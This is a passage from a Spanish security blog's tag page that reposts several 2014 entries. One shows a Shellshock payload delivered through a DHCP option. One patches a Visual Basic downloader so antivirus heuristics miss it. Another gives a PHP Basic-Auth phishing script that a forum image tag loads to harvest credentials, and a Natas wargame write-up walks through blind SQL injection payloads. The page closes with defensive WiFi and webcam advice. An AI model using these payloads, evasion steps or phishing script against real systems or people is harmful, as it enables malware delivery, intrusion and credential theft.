Mostrando entradas con la etiqueta inseguridad. Mostrar todas las entradas
Mostrando entradas con la etiqueta inseguridad. Mostrar todas las entradas

viernes, 26 de septiembre de 2014

#ShellShock + DHCP o como puede comprometerse una máquina con sólo conectarse a la red

El bug en bash, ya bautizado como Shell Shock, es tan terrorificamente sencillo que hasta los menos expertos son capaces de juntar rápidamente algo de código para comprometer una máquina Linux/Unix (incluido Macs). Así en menos de dos días hemos pasado de una simple prueba de concepto a una autentica pandemia de explotaciones.

Una de las más llamativas es la que ya conocíamos desde el principio con DHCP y que ahora nos ilustra TrustSec, otra PoC en la que vemos como podemos insertar código en la opción 114 (default-url) de nuestro server para explotar la vulnerabilidad:


String () { ignored;}; echo ‘foo’ en servidor TFTPD64

Simplemente hacemos un renew en el cliente (o levantamos el interfaz) y observamos el resultado:



miércoles, 23 de julio de 2014

Antivirus K.O. Evasión de motores heurísticos

Los motores heurísticos utilizados por los antivirus en mayor o menor medida, se encargan de monitorizar entre otras cosas, las llamadas a funciones y librerías que el malware utiliza en su ejecución para realizar ciertas acciones determinadas. Hemos hablado de cómo mover la Import Table a otros offsets, pero la heurística va más allá. El objetivo de esta entrada, sería buscar una alternativa, para migrar las llamadas externas que el ejecutable realiza mediante la Import Table, a las librerías del sistema y finalmente, a sus APIs. Leos de indetectables, hace varios años ya habló de este tema y ciertamente, sigue estando al orden del día.
Para hacer la prueba, yo he decidido utilizar el siguiente código, el cual no es más que un simple Downloader, con posiblemente la API más detectada por los antivirus en Visual Basic, URLDownloadToFileA.

Algo muy especial de Visual Basic 6 y anteriores, es que las llamadas a las librerías y funciones que utiliza un ejecutable no vienen incluidas en la Import Table, como hemos visto que sucede en el resto de aplicaciones con mis anteriores entradas.
¿Entonces cómo las llama?
Utiliza una función llamada DllFunctionCall, la cual carga en la Import Table siempre y cuando en el código fuente, se haya declarado la utilización de una API del sistema. Cuando se ejecuta esta función, trata de cargar dinámicamente el nombre del API a utilizar y la librería a la cual hay que realizar la llamada. Las aplicaciones de Visual Basic compiladas en código nativo, contienen strings en las que se pueden leer las APIs y librerías, pero esto no es del todo fiable, ya que desconocemos si estas están siendo utilizadas de alguna manera por el software. Así que si encontrásemos en un binario de Visual Basic el API DllFunctionCall procedente de la librería MSVBVM60.DLL, tendríamos que desensamblar para saber realmente a quien llama.

Abriremos el binario en OllyDBG y nos iremos directamente a visualizar todas las llamadas inter-modulares que contiene, para tratar de dar con DllFunctionCall.


Gracias a que este binario es tan pequeño, no nos costará nada encontrarla.

Tras presionar Enter para saltar hasta la función, nos encontraremos con un CALL que espera a que el registro EAX le traiga la dirección de memoria donde realizar la llamada. Con lo que decidí colocar un BreakPoint y ejecutar el binario para ver cuál será su próxima acción.

Tras calcular su salto, EAX ahora transporta la dirección del API URLDownloadToFileA que se cargó de forma dinámica.

Tras presionar la tecla Enter para saltar antes de que lo haga la ejecución, llegamos a la librería urlmon.dll, donde se encuentra el API. Debido a que esta función es bastante grande y tendría que recolocar un gran número de llamadas y saltos para lograr migrarla por completo y evitar que se realizasen llamadas externas, he decidido tan solo copiar un pequeño número de instrucciones. La migración de estas instrucciones no rompería el ejecutable, ya que tan solo mueven e insertan datos sobre los registros.

Realizaremos una copia en binario de las direcciones para llevar a cabo la migración a un hueco.

Ya que llevo torturando a los binarios de Visual Basic desde que tengo uso de razón, osea hace poco tiempo jajajaj… sé dónde se encuentran lugares con huecos para mover la función de urlmon.dll. Y justo esa cadena donde se incluye la dirección de compilación “IDEAS POSIBLE POST” es un lugar cojonudo.

Así que llevaré hasta allí, mi apisonadora de NOPs y pienso montar en ese hueco mi chiringuito... no hay quien me pare.

Tras un Binary Paste seleccionando el hueco, migramos parte de la estructura del API.

Como me ha sobrado espacio, puedo incluir sin problemas el salto para redireccionar el flujo a la siguiente instrucción de urlmon.dll, justo al inicio de un bucle que hemos decidido evitarlo para no vernos con posibles complicaciones.

El siguiente paso es hacer el desvío adecuado, en la instrucción JMP donde el registro EAX indicaba la posición a saltar. Ya que DllFunctionCall en este ejecutable no se va a utilizar en otro momento, podemos hardcodear la próxima dirección de memoria a saltar. No obstante, esto no se realizaría de esta manera con un malware complejo, con lo que habría que saltar a otro hueco he incluir un pequeño algoritmo que mediante CMP o TEST, devolviese 1 o 0 para definir un salto al nuevo cálculo del registro EAX o a la dirección que nosotros hemos definido… ¡vamos un IF de los de toda la vida!

Tras copiar todas las modificaciones realizadas…

Al enviar ambas muestras a Virustotal, tanto McAfee como CMC los cuales utilizan firmas heurísticas para esta detección desaparecen, seguidos de antivirus conocidos como F-Prot y Commtouch, que en este caso comparten la misma firma.

Siendo sinceros, la migración de las rutinas a las que llama la Import Table puede llegar a ser un “trabajo de chinos”. Es fácil encontrarse con miles de direcciones. Aplicaciones como la española Themida, tratan de virtualizar en una especie de SandBox todas estas llamadas externas, para solventarlas internamente, con lo que es tan utilizado en temas de evasión antivirus.
No obstante, también es posible encontrar APIs con funciones pequeñas, si recuerdan mi anterior entrada, vimos la sencillez de IsDebuggerPresent. Si todos recuerdan la aplicación Topo, la cual nos ayudó en alguna entrada a buscar huecos en ejecutables o sencillamente a crearlos, esta no cuenta por defecto con ninguna protección Anti-Debugging, pero gracias a que el API IsDebuggerPresent es tan pequeña, podremos agregarla fácilmente redireccionando el Entry Point de la aplicación a una rutina que compruebe la existencia de un Debugger mediante este API.

De tal manera que si ejecutamos Topo desde OllyDbg, terminaremos saltando a una zona vacía y no podremos seguir debuggeando.

Sin embargo, tras hacer doble click sobre el binario, este se ejecutará sin ningún problema.

Por último, podemos cerrar las bocas de aquellos que dicen que Visual Basic 6 tiene un potencial limitado, aunque todos sabemos que las limitaciones nos las ponemos nosotros mismos… o nuestra falta de imaginación. Debido a que es posible ejecutar ristras de opcodes desde este lenguaje sin ningún problema, tal y como muestra la siguiente imagen, un código creado por KarCrack embebiendo la rutina de IsDebuggerPresent.

Se me ocurren ideas, y casualmente no son buenas… como incluir la shellcode de Poison Ivy o la de mi anterior entrada inyectando una Shell en el stub de un Crypter.

Como es lógico, Avira Antivir detecta el compilado como Dropper, por contener un posible malware… aunque tan solo transportemos a un pijo con un polo de Lacoste en opcodes, el antivirus sospechará, y con razón.
No obstante, la evasión antivirus una vez más, es tan sencilla como la utilización de un AVFucker.

¡Espero que les gustase la entrada tanto como a mi prepararla, me voy a tomar unas buenas cervezas belgas a vuestra salud! :)

Saludo 4n4les! 8==D

Fuente: http://www.enelpc.com/2014/07/antivirus-ko-evasion-de-motores.html

martes, 22 de julio de 2014

Ingeniería social mediante solicitudes HTTP remotas – Un ejemplo de phishing

Hoy quiero compartir un método de ingeniería social que nunca he visto documentado, pero muy creíble y eficaz que se apoya de la propiedad que tienen muchas aplicaciones (Web o de escritorio) de realizar peticiones HTTP a servidores remotos. Un buen ejemplo sería la particularidad que tienen los foros de Internet a incluir imágenes de servidores externos mediante la etiqueta [IMG] o .
Estas peticiones envían nuestras cabeceras igual que a cualquier otra Web y podemos enlazar imágenes o un fichero php corriente, la única diferencia es que el navegador intentará mostrarlo como una imagen una vez descargado y quizás no pueda, pero en la parte de servidor se ejecutará todo igual, por lo que estas consultas pueden diseñarse para realizar cualquier acción que se le permita al navegador y es aquí donde se puede aprovechar la ingeniería social para perpetuar ataques tipo phishing, entre otros.
Un caso típico de phishing es enviar un enlace donde se pide un usuario y contraseña simulando ser una página legítima, estadísticamente sigue funcionando, pero a día de hoy no es tan efectivo por que es fácilmente detectable con solo ver la URL, además la gente está bastante “educada” de no abrir enlaces desconocidos, así que lo que veremos es como solicitar las credenciales a un usuario sin que este visite un sitio Web, simplemente le aparecerá la ventana de login mientras abre un hilo.

Caso práctico: Robo de credenciales de un foro sin abandonar la Web

Como hemos visto antes, una consulta HTTP que solicita una imagen es exactamente igual a una consulta que solicita un fichero, una imagen puede tener extension .php o cualquier otra. Los captcha, por ejemplo al ser una imagen dinámica tienen extensión .php ya que se autogeneran a si mismos cada vez que se imprimen ¿pero cómo puede utilizarse esto en un ataque de phishing? El protocolo HTTP incluye una característica de autentificación que permite al administrador poner ciertos ficheros o directorios bajo contraseña, al realizar una petición hacia ellos el usuario verá un formulario de login, si habéis entrado a un router sabréis de lo que estoy hablando. Un ejemplo de fichero que solicita contraseña al recibir una petición HTTP sería este

fichero.php


    header('WWW-Authenticate: Basic realm="http://www.forodeejemplo.com/fileattach?foto.jpg"');
    header('HTTP/1.0 401 Unauthorized');
    exit();
?>


Básicamente estamos enviando una cabecera que dice al navegador “Oye, para ver este fichero necesito que me des una contraseña”, en esta cabecera, además tenemos un campo (realm) en el que podemos escribir lo que queramos, esto normalmente se hace para describir el servicio o el por que se necesita una contraseña. Como queremos pasar inadvertidos nosotros pondremos una URL interna del foro, así el usuario pensará la solicitud proviene de desde el propio foro, esto es lo que se vería al intentar abrir el fichero a través del navegador

saaaaaa
Si un usuario una contraseña podríamos leerlas mediante $_SERVER['PHP_AUTH_USER'] y $_SERVER['PHP_AUTH_PW'], por lo que un fichero que solicitara un usuario y contraseña y una vez introducidos los guardara en un txt podría ser algo como

fichero.php

if (!isset($_SERVER['PHP_AUTH_USER'])) { //Si no se ha introducido ningun usuario
    header('WWW-Authenticate: Basic realm="http://www.forodeejemplo.com/fileattach?foto.jpg"'); //Muestra la ventana de credenciales
    header('HTTP/1.0 401 Unauthorized');
    exit;
}else { //Si se ha introducido algun usuario lo guarda en documento.txt
}
?>

Pero claro, si queremos sacar esto a flote no nos valdría con abrir un hilo con un enlace a dicho fichero ya que la mayoría de gente, al ver que pulsan un enlace que les lleva fuera del foro pensarían que la contraseña se refiere a otro sitio o directamente se darían cuenta del intento de engaño. Nosotros queremos que el formulario de usuario y contraseña aparezca directamente en el foro, pues nada mas simple como crear un mensaje que apunte hacia nuestro fichero mediante las etiquetas de imagen 

[img]http://url_maliciosa/imagen.php[/img]

Captura2

Cuando alguien abra el hilo, al cual obviamente le pondremos un título sugerente e interesante (o responderemos a uno que creamos que va a tener éxito) aparecerá una bonita ventana de login la cual aparece dentro del propio foro y haciendo referencia a una foto.
Para el usuario es algo muy transparente, está navegando por el foro y de golpe el propio foro parece que le pide las credenciales para ver un fichero adjunto, la URL del navegador sigue siendo legítima, no ha seguido ningún enlace externo, no hay motivo aparente para desconfiar.
Pero esto es ampliable a muchos otros caso, por ejemplo, imagina que mandas un correo con dicha imagen a un email de Gmail, hay dos posibilidades si tiene el filtro de imágenes activado le pedirá hacer clic en “mostrar imágenes” y una vez lo haga pedirá login y si está desactivado, al intentar abrir el mensaje pedirá login, además como Gmail es tal “cool” carga el email en segundo plano por lo que aparece el formulario incluso antes de abrirlo
Capturasda

En definitiva y por concluir hemos aprendido a que NUNCA hay que introducir nuestras credenciales si no estamos totalmente seguros de lo que estamos haciendo ya que a veces lo que el ojo ve no es lo que hay que creer.

Fuente: http://www.blogdemigueldiaz.com/2013/04/ingenieria-social-mediante-solicitudes-http-remotas-un-ejemplo-de-phishing/

viernes, 27 de junio de 2014

Jugando sí se aprende (advierto, nivel básico)

Andaba un poco perdido tras haber terminado el Holiday Hack cuando un tweet de Daniel Garcia (a.k.a. @danigargu) dirigió mi atención hacia la web de overthewire y la lista de wargames que tienen publicados. De todos los disponibles el primero que llamó mi atención por su temática relacionada con la seguridad de las aplicaciones web en la parte del servidor fué Natas, y como "mente ociosa solo trae malos pensamientos" allá que me puse con ello.

Realmente os animo a jugar: es entretenido, el nivel es bastante asequible y enseña los errores que no se deberían cometer a la hora de asegurar una aplicación web. De hecho si he logrado convencerte no deberías seguir leyendo esto, ya que aunque no voy a detallar los pasos para completar el wargame si me centraré en una de las pruebas, lo que personalmente hice para pasarla y lo que he aprendido por el camino.

Toma de contacto

Para acceder a los distintos niveles tenemos que disponer de un usuario, que siempre es natasX siendo X el número correspondiente al nivel, y una contraseña que habremos obtenido en el nivel anterior. Concretamente comentaré acerca del nivel 15 y el método seguido para sacar la contraseña de acceso al nivel 16, ya que el usuario lo tenemos claro: natas16.

Para llegar a éste nivel hemos tenido que valernos previamente de una SQL injection utilizando las tan denostadas por unos y queridas por otros comillas, comillas dobles concretamente. Además durante el proceso de prueba/error hemos descubierto que la base de datos funcionando en el backend es MySQL.

Cuando accedemos al nivel 15 nos encontramos un formulario que permite introducir un nombre de usuario y comprobar si está dado de alta en la base de datos. También tenemos un enlace para ver el código fuente y por ende la lógica de la aplicación, pero como que somos muy chulitos vamos a probar a pelo. Primera prueba lógica que se me ocurre, probar con un usuario que exista, así que utilizando natas16 obtenemos:
This user exists.

Vale, vamos bien. Segunda prueba lógica, probar con un usuario que no exista, así que probaremos con foobar que queda como que muy profesional y casi seguro que no va a estar. Resultado:
This user doesn't exist.

Y ahora la refinitiva, vamos a meter unas comillas dobles para ver si el formulario, como el del nivel anterior, también es vulnerable a una SQL injection:
Error in query.

Ya la hemos jodío, parece que los errores producidos por carácteres "indeseables" son capturados por la aplicación. ¿Aún así seguirá siendo vulnerable? Recapitulemos, la lógica me inclina a pensar que la consulta SQL ejecutada debe ser algo como:
select * from users where username = "loqueyometo";

así que si utilizo un usuario existente más una expresión verdadera y exijo que ambas se cumplan para que la consulta sea válida y el formulario es vulnerable a una SQL injection debería devolverme la cadena "This user exists".

Como siempre, se entiende mejor viéndolo, en este caso la cadena a inyectar; el comentario final, los dos guiones, únicamente inhabilitan el resto de la consulta y los incluyo sólo por si realmente hay algo más detrás de lo que imagino que hay:
natas16" and 1 = 1 --"

con lo que la supuesta consulta SQL final quedaría:
select username from users where username = "natas16" and 1 = 1 --""

Lo pruebo y obtengo como resultado la cadena esperada, "This user exists". Por confirmar voy a probar ahora con un usuario existente más una expresión falsa volviendo a exigir que se cumplan ambas condiciones para que la consulta sea válida. Dado que una de ellas ya se de antemano que es falsa debería obtener como resultado la cadena "This user doesn't exist".
natas16" and 1 = 2 --"

con lo que la consulta SQL quedaría:
select username from users where username = "natas16" and 1 = 2 --""

Obtengo la cadena "This user doesn't exist" así que confirmo mis suposiciones: es una blind SQL injection.

¿Y eso que es?

Pues es una SQL injection de las de toda la vida sólo que en este caso no podemos obtener directamente lo que buscamos ya que la aplicación no nos devuelve ningun campo sobre el que tengamos control y podamos utilizar para mostrar resultados. Pero no está todo perdido ya que como obtenemos resultados diferentes para consultas correctas e incorrectas aún podemos inferir lo que buscamos.

Podemos intentar obtener la longitud de la contraseña para el usuario natas16 resultado que utilizaremos posteriormente para averiguarla. Existe una función de MySQL, length(str), que nos devuelve el tamaño de una cadena que se le pase como argumento. Si a eso le sumamos que sabemos los resultados para consultas correctas, llamemos a éste resultado flag OK, e incorrectas, llamemos a éste resultado flag NOK, podemos ir probando tamaños hasta que la aplicación nos devuelva NOK:
natas16" and (SELECT length(password) FROM users where username='natas16') > 1 --"

natas16" and (SELECT length(password) FROM users where username='natas16') > 2 --"

natas16" and (SELECT length(password) FROM users where username='natas16') > 3 --"

...

que producirán, siempre supuestamente, las siguientes consultas:
select * from users where username = "natas16" and (

  select length(password) from users where username='natas16') > 1 --""

select * from users where username = "natas16" and (

  select length(password) from users where username='natas16') > 2 --""

select * from users where username = "natas16" and (

  select length(password) from users where username='natas16') > 3 --""

...

Llegará un momento en que el valor que indiquemos no será mayor, obtendremos el flag NOK, y podremos inferir que la longitud se corresponderá justo con el valor probado en la consulta anterior.

Disponiendo ahora de la longitud pasaremos a obtener la contraseña. Utilizaremos ahora dos funciones más ofrecidas por MySQL. La primera, ascii(chr), nos permite obtener el valor numérico correspondiente al carácter que se le pase como argumento, y la segunda, substring(str,pos,len), nos permite extraer tantos caracteres como se le indiquen, len, desde una posición determinada, pos. Lo que haremos:
  • Obtener un carácter de la contraseña mediante la función substring.
  • Convertirlo a su equivalente numérico utilizando la función ascii.
  • Compararlo con el primer valor de una serie de caracteres (letras mayúsculas y minúsculas, y números):
    • Si ambos caracteres coinciden, obtener el siguiente carácter y repetir el proceso.
    • Si los caracteres no coinciden, comparamos con el siguiente valor y así hasta que coincidan.
  • Reiniciar el proceso para obtener el siguiente carácter.
  • Cuando tengamos tantos caracteres como larga sea la contraseña habremos terminado.

Un ejemplo de la cadena a inyectar para comparar el primer carácter de la contraseña con el valor numérico en formato decimal extraído de la tabla ascii para el carácter 0 sería:
natas16" and ascii(substring((SELECT password FROM users

  where username='natas16'),1,1)) = 50 --"

que se correspondería con la siguiente consulta SQL generada por la aplicación:
select * from users where username = "natas16" and

  ascii(substring((SELECT password FROM users

  where username='natas16'),1,1)) = 50 --"

Si el primer carácter de la contraseña es igual a "0" la aplicación nos devolverá el flag OK, "This user exists", y podremos seguir probando con el segundo caracter de la contraseña. Si por el contrario el primer carácter de la contraseña no es "0" la aplicación nos devolverá el flag NOK, "This user doesn't exist", y tendremos que seguir probando con otro valor hasta dar con el adecuado, y así sucesivamente.

Hacer esto a mano es de locos, asi que vamos a tirar de python :)

Que trabaje la maquina por mí

La estructura original del primer script era mucho más fea, además de no devolver mucho feedback al usuario lo que podía llevar a pensar, y de hecho era lo que yo pensaba nada más escribirlo y probarlo, que una de dos, o se había quedado colgado o simplemente no funcionaba; aunque sí funcionaba y me ayudó a superar la prueba. Sumémosle a esto último que me quedé atascado bastante tiempo en el último nivel hasta que hice trampas y busqué la solución, la cual encontré aquí. Resumiendo, que me gustó mucho la forma en que Julien Voisin iba presentando los resultados y había estructurado su script para el nivel 16, así que adapté el mío para que se pareciese y quedara más chulo. Para hacer una estimación del tiempo que tardaba en obtener la password utilizaba el siguiente batch:
@echo off

setlocal



echo %time%

echo ---------------------
 
cmd /c %*

echo ---------------------
 
echo %time%

que pasándole como parámetros la cadena de ejecución del script me dió como resultado:
C:\>timer.cmd python blindsqli.py

16:15:13,65

---------------------

Url: http://natas15.natas.labs.overthewire.org

[*] Authenticating

[*] Guessing password length...

[*] Password lenght: AQUIVAELTAMANYO

[*] Guessing password...

[*] Password guessed!

Password: AQUIVALAPASSWORD

---------------------

16:22:07,97

El script cumplía con su objetivo aunque no destacaba precisamente por su velocidad, así que decidí tratar de mejorarlo leyendo el más que recomendable "SQL injection: attacks and defense", donde se mencionan dos métodos mucho más eficientes para obtener los datos deseados: búsqueda binaria y bit-a-bit.

Resulta que el algoritmo que había utilizado y que se encarga de recorrer secuencialmente el contenido de un conjunto de valores hasta dar con el deseado, se conoce como búsqueda lineal y es matemáticamente mucho más ineficiente que la búsqueda binaria; para que luego digan que las matemáticas no sirven para nada (nota mental: estudiar algoritmia). No me detendré en el método de la búsqueda binaria, que ya hay mucho material, pero sí en el de bit-a-bit, ya que me pareció mucho más fácil de implementar y a priori mucho más rápido que los otros dos. Me explicaré...(o al menos lo intentaré).

Como ya sabrás, cada carácter que forma parte de la contraseña se representa internamente como un byte el cual a su vez está dividido en 8 bits con sólo dos valores posibles, 0 ó 1. La idea es utilizar alguna de las operaciones binarias de MySQL para obtener el valor de cada uno de esos bits de forma independiente. Ésto nos garantizará que para cada carácter se realizarán un mínimo y un máximo de 8 consultas. Por lo tanto las cadenas que inyectaremos por cada carácter (aumentando N desde 1 hasta la longitud de la contraseña) serán:
natas16" and ascii(substring((SELECT password FROM users

  where username='natas16'),N,1)) & 128 = 128 --"

natas16" and ascii(substring((SELECT password FROM users

  where username='natas16'),N,1)) & 128 = 64 --"

natas16" and ascii(substring((SELECT password FROM users

  where username='natas16'),N,1)) & 128 = 32 --"

natas16" and ascii(substring((SELECT password FROM users

  where username='natas16'),N,1)) & 128 = 16 --"

natas16" and ascii(substring((SELECT password FROM users

  where username='natas16'),N,1)) & 128 = 8 --"

natas16" and ascii(substring((SELECT password FROM users

  where username='natas16'),N,1)) & 128 = 4 --"

natas16" and ascii(substring((SELECT password FROM users

  where username='natas16'),N,1)) & 128 = 2 --"

natas16" and ascii(substring((SELECT password FROM users

  where username='natas16'),N,1)) & 128 = 1 --"

Cada una de estas consultas, en caso de ser cierta nos devolverá el flag OK, "This user exists", y por lo tanto el valor del bit será igual a 1, o por el contrario devolverá el flag NOK, "This user doesn't exist", siendo entonces 0 el valor correspondiente al bit. Cuando tengamos los 8 bits tendremos por tanto el valor del byte, el cual interpretaremos como un caracter ASCII.

No sé si me he explicado muy bién, así que aquí os dejo el script definitivo para que le echéis un vistazo. Observaréis como también he eliminado la obtención previa de la longitud de la contraseña para ahorrar así algunas consultas más. Para comprobar si hemos llegado al final de la misma comparo el byte inferido con el valor para la cadena vacía, que sería el resultado obtenido al ejecutar la funcion substring pasándole como parámetro un valor de posición inexistente ya que la cadena es más corta. Un ejemplo de su ejecución haciendo nuevamente un cutre "benchmark":
C:\>timer.cmd python blindsqli.py

17:12:26,00

---------------------

Url: http://natas15.natas.labs.overthewire.org

[*] Authenticating

[*] Guessing password...

[*] Password guessed!

Password: AQUIVALAPASSWORD

---------------------

17:14:03,11

Al menos para este caso el script es mucho más rapido. Quizás utilizando adecuadamente threads para comparar simultáneamente los 8 bits por cada byte iría aún más rápido, aunque en las pruebas que yo he hecho sin tener ni idea la mejoría no ha sido muy notable que digamos :(

En breve más y mejor, espero ;)

Enlaces de interés

Advanced SQL Injection in SQL Server Applications

(more) Advanced SQL Injection

Hackproofing MySQL

Data-Mining With SQL Injection and Inference

Time-Based Blind SQL Injection with Heavy Queries

From SQL injection to shell

SQL Injection Online Cheatsheet

MySQL: funciones para cadenas de caracteres

SQL Injection: attacks and defense
Justin Clarke
Syngress

Fuente: http://neosysforensics.blogspot.com/2013/01/jugando-si-se-aprende-advierto-nivel.html

Inicio wargame: http://overthewire.org/wargames/natas/

martes, 17 de junio de 2014

Asegurar tu red WiFi para que no te graben con tu webcam

 Esta semana, con la noticia del pedófilo que espiaba a sus vecinos por la webcam se ha creado mucho ruido mediático en televisiones, radios y medios de comunicación. La noticia ha sido que se colaba en las redes WiFi de su vecino, tomaba el control del equipo de la víctima y les infectaba con un troyano para activar la webcam y grabarles en su casa, lo que a muchos les parecía de ciencia ficción. Esto es porque no están al día y no conocen casos como el del técnico de Mac que espiaba a sus clientes por la webcam, que los ladrones de tecnología caen en estas grabaciones y no saben que hasta a los espías les cazan de esta forma, así que quería escribir un poco sobre esto.
Figura 1: IndSocket RAT con soporte para grabación de webcam
Defenderse contra la grabación en WebCam
Respecto al tema del software R.A.T. (Remote Administration Tool) que te graba con la webcam, ya es muy conocido, y las recomendaciones son cuidar de tu sistema operativo. En uno de los libros que más se han vendido de nuestra colección, Sergio de los Santos (@ssantosv) se pasa más de 250 páginas hablando de cómo obtener la Máxima Seguridad en Windows sin necesidad de utilizar un antimalware - el cual es archirecomendable para saber más de seguridad -, pero para resumir todo en una pequeña lista yo os propondría.
- Actualiza todo el software de tu equipo: No sé ni cuantas veces hemos hablado de esto, pero es que es verdad, hay que hacerlo. Para que el atacante pudiera tener control de tu máquina necesitaría saber las claves o explotar un bug al estilo de un pentester con Metasploit, así que evita que tenga bugs que explotar. Si lees este ejemplo te darás cuenta de que basta con que tengas el Flash sin actualizar y ... adios equipo. Actualiza el software de tu equipo o entrégalo al enemigo.
- Pon contraseñas robustas: Si no puede explotar un bug, evita que tus claves puedan ser adivinadas porque sean una basura, así que ten una política de claves seguras y cámbialas periódicamente. 
- Usa un antimalware: Un antimalware reconoce casi todo el software comúnmente utilizado por ciber-acosadores para grabar con la webcam, así que ponte uno bueno con protección en tiempo real. Esto es también para ti que tienes Mac OS X y has oído que no hay malware en Mac OS X. Aquí tienes algunos tips para sobre cómo saber si tienes malware en tu Mac.
- Tapa la webcam y el micro: Lo mejor en estos casos es la seguridad física, así que como ya os he dicho muchas veces, tapa la webcam o ponte sexy para salir en Internet. Recuerda que las grabaciones tuyas se venden, tanto si estás desnudo como si no, porque muchos acosadores compran vídeos de gente haciendo cosas normales para engañar a sus víctimas. No te fies de un extraño ni aunque lo veas por la webcam.
- Deshabilitar la webcam en el sistema: Se puede deshabilitar la webcam por software en el sistema operativo, pero si el malware corre con privilegios en el sistema podría habilitar tanto la webcam como el sistema. Ojo, mucha gente se pierde a la hora de volver a habilitar los dispositivos multimedia en Windows
- Usa webcams con tapa y luces: Muchas webcams tienen una tapa de privacidad, y otras tienen luces de aviso. Algunas de estas cámaras con luces de aviso no se iluminan cuando se sacan fotos, pero si el atacante no sabe si tiene luz o no, entonces se verá la luz encendida si alguien se conecta.

Asegurar tu WiFi contra la intrusión no deseada
Proteger tu red WiFi es algo que debes hacer sí o sí. Para ello, hace ya más de 6 años publiqué una serie de artículos por aquí sobre Cómo proteger tu red WiFi. En esos artículos os hablaba de como funciona WEP, WPA, WPA-PSK y cómo acabar montando WPA-Enterprise con un servidor Radius de Windows. Para que te pongas una red de los más robusta. Para un entorno de usuario doméstico este sería el resumen de cosas que deberías tener en cuenta en cuatro areas diferentes:
1) Fortificar la configuración de la red WiFi
- Establece cifrado WPA/WPA2 - PSK: Es lo más robusto que hay hoy en día, aunque no es ni mucho menos infalible, ya que existen formas de atacar un red con WPA/WPA2-PSK, pero es lo más que podemos tener en cuanto a cifrado de red en entornos domésticos. 
- Cambia el SSID: El SSID es el nombre de la red, y los SSID son necesarios para poder crackear WPA/WPA2-PSK con ataques de diccionario, así que si pones uno que nadie haya pre-calculado antes, mejor que mejor. 
- Cambia la clave por defecto: Las redes WPA/WPA2 - PSK también se atacan por el descubrimiento de los algoritmos que usaron los fabricantes para establecer claves por defecto. Herramientas como Liberad a WiFi o el archifamoso e histórico WLanDecrypter se hicieron muy populares por hacer esto, pero hay muchas como WLanAudit, iWep y un largo etcétera para algoritmos de claves de redes WiFi de routers de todo el mundo. 
Figura 2: WLAN Audit para iOS
- Oculta el SSID: Al ocultar el SSID de tu red haces que tu punto de acceso WiFi no emita los beacon frames con el nombre de la red. Ocultarlo hace que sea un paso más de trabajo para el atacante descubrir los Probe de los clientes que se conectan, pero evita curiosos. Para ello, asegúrate de marcar la opción de "Conectar a esta red aún cuando no se detecte" en la configuración de la rede WiFi en tu sistema operativo Windows y antes de aplicar la ocultación de red WiFi ten en cuenta que esta medida puede afectar a tu privacidad personal.
- Cambia periódicamente el SSID y la clave: Aunque no te lo creas, aún así te pueden crackear la red, así que cambia de vez en cuanto estos valores para que no acabe tu configuración publicada en bases de datos de Wardriving. Estas bases de datos comparten las claves de redes WiFi geoposicionadas como WiFiGet, y algunas soluciones hasta usan Four Square, por lo que para cualquier que pase por allí podría venirle bien tu red WiFi
- Desactiva WPS (WiFi Protected Setup): Esta característica permite que un equipo se conecte a la WiFi utilizando un código temporal que simplifica todo el proceso de "enrollment" de un nuevo equipo. Por desgracia las implementaciones de muchos routers no detectan los ataques de fuerza bruta y en unos minutos están en tu red WiFi. Así que desactívalo y evita estos ataques de un tirón. 
- Filtra por direcciones MAC de conexión: Tampoco es una medida definitiva, pero complica un poco más el trabajo del atacante, y ayuda localizar mejor a los atacantes. Para ello, en el panel de administración crea un filtro por dirección MAC para todos los equipos de tu red doméstica. 
- WPA/WPA2 - Enterprise: Si quieres quitarte de problemas en la rede tu empresa, pues piensa en utilizar WPA2 Enterprise con EAP-TLS, TLS-EAP-TLS, PEAP-TLS, o PEAP-MSCHAPv2 o algo similar para que tu red sea mucho más difícil de atacar.
- Apaga la WiFi cuando no la usas: Cuanto menos cómoda sea la red para cualquier atacante mejor. Menos tiempo tendrá para atacarla y menos podrá disfrutarla.


2) Fortificar la configuración de tu router WiFi
- Actualiza el firmware de tu AP: No solo tienes que actualizar el software de tu equipo, sino también el software de tu router o punto de acceso. Para ello busca en la web del fabricante y pon el último que haya disponible para tu hardware. 
- Cambia la contraseña de administración de tu punto de acceso: Las passwords por defecto son un grave problema en estos dispositivos, así que procura cambiarla. Ya vimos como incluso desde un correo electrónico era posible atacar un router AP aprovechando alguna de las múltiples vulnerabilidades de CSRF que suelen tener. 
- No permitas la consola de administración en la WAN: Ni la consola de administración WAN, ni la consola de comandos vía Telnet o SSH. Deja que solo alguien conectado a la LAN pueda configurar las características de tu dispositivo. 
- Configura el Firewall de Internet y Filtra por IP: Evita que desde Internet se puedan conectar a los equipos de tu red a ningún puerto, y sobre todo evita configuraciones en las que envíes todo el tráfico de Internet a un equipo de la red, ya que lo van a brear. Si aparte de filtrado MAC, quitas el servidor DHCP y filtras por dirección IP de cliente, se lo pondrás un poco más difícil al atacante, aunque configurar y administrar tu red se hará un poco más trabajoso.
  

3) Fortificar la conexión desde el cliente
- Valida el BSSID de tu red WiFi: Los sistemas operativos Windows validan el BSSID, es decir, que no ha cambiado el identificador de la red que depende de la dirección MAC. Esto es así para evitar suplantación de routers y ataques de Rogue AP. En el caso de Mac OS X no se valida el BSSID y tampoco en los sistemas operativos iOS de iPhone o iPad
- Utiliza una conexión VPN: Tanto si la red es tuya como si no, estar en una red WiFi compartida es como "living in the jungle", así que tira una VPN para evitar que alguien te intercepte cualquier comunicación. Recuerda el ejemplo de hackeando al vecino hax0r que me roba la WiFi y todos los ataques en redes IPv4 & IPv6 que se pueden hacer.
Figura 3: Firewall avanzado de Windows Vista
- Configura el Firewall de tu sistema operativo: Una vez que abres la VPN, el firewall del tu router no va a ayudarte, así que tienes que tener el de tu sistema operativo activo y restringiendo todos los protocolos de entrada a tu equipo. Si tienes un equipo Windows, selecciona la opción de "Red Pública" en le perfil de la conexión, que es el más restrictivo de todos - si solo vas a conectarte a Internet - y configura en detalle luego tu firewall.
4) Monitoriza la red periódicamente
- Revisa los logs del router o punto de acceso Wi-Fi: Revisa las direcciones MAC y las direcciones IP de conexión a tu red. Si tienes filtrado de MAC, y alguien consiguiera entrar en la red, entonces en la red habrá varios equipos con la misma dirección IP sobre la misma dirección MAC. Esto genera alertas en software IDS (Intrusion Detection System). Si no tienes filtrado de dirección MAC, seguramente el atacante usará una falsa y tendrá otra dirección IP para no generar alertas de seguridad, pero será más fácil darse cuenta de que hay un nuevo equipo en la red. 
